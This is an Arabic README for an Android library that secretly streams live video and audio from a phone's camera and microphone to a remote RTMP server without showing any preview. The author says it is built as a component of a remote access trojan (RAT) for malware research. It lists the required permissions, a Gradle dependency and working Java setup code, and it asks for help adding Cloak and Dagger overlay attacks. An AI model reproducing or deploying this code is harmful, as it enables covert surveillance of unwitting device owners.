
مكتبة Live Hidden Camera تقوم بتسجيل فيديو وصوت مباشر من جهاز Android دون عرض معاينة.
كاميرا خفية مباشرة (LHC) هي مكتبة تقوم بتسجيل الفيديو والصوت المباشر من جهاز Android دون عرض معاينة.

أعمل على بحث يعتمد على برمجيات خبيثة لنظام Android وقررت إنشاء أداة تحكم عن بعد (RAT) متعددة الوظائف. كنت أعمل على البث المباشر حيث وجدت بعض المشاريع مفتوحة المصدر القائمة على RTMP تشمل:
والتي جميعها تعاني من بعض المشاكل بناءً على متطلبات أداة RAT. لكن المشكلة الشائعة كانت أن جميعها تحتاج إلى نشاط (Activity) لتضمين SurfaceView.
لذلك، بدأت البحث. أخيرًا، تمكنت من إنشاء كاميرا خفية مباشرة التي تحتاج فقط إلى CONTEXT لبث الفيديو المباشر، من خلال دمج هذين المشروعين:
لقد أنشأت مكتبة لجعلها أكثر قابلية للاستخدام. الشرط الوحيد هو إضافة المكتبة إلى مشروعك وتمرير عنوان Rtmp إليها.
بالإضافة إلى ذلك، يجب عليك الاهتمام بما يلي:
Manifest.xml:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
استخدام المكتبة مباشر. فقط أضف المكتبة التالية إلى ملف gradle.build لمشروعك.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest.قبل استخدام المكتبة، يجب أن يكون لديك خادم Rtmp منشور. لقد استخدمت Ant Media Server. يوجد دليل جيد حول تثبيت Ant Media Server في هذا الرابط.
بعد بدء تشغيل خادم Ant Media Rtmp، يجب أن ترى شيئًا كهذا:

بعد إضافة المكتبة إلى مشروعك، اتبع الخطوات التالية:
إنشاء فئة تقوم بتنفيذ: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
إنشاء حقلين (واحد للنشر وواحد للمعاينة):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
تنفيذ دالة لبدء الكاميرا الخفية المباشرة:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
المشكلة الرئيسية التي أواجهها حاليًا هي الشاشة الخضراء. لقد وصفت الخطأ في StackOverflow على https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
إذا كان لديك أي اقتراح بخصوص هذه المشكلة، أو أي فكرة أخرى، فلا تتردد في الاتصال بي.
بسبب التراكب (overlay) للكاميرا الخفية المباشرة، لا يمكن النقر على التطبيقات الأخرى. النقرات مقبولة فقط بواسطة LHC. تحقق من قسم TODO.
هناك مشروع يسمى Cloak and Dagger كشف عن قدرة خطيرة جدًا في Android. أي مساهمة في استخدام Cloak and Dagger في LHC مرحب بها.
تحقق من Cloak and Dagger هنا:
يمكنك التبرع لهذا المشروع باستخدام عنوان Bitcoin الخاص بي على:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
يمكنك التواصل معي من خلال موقعي الإلكتروني: https://mstajbakhsh.ir/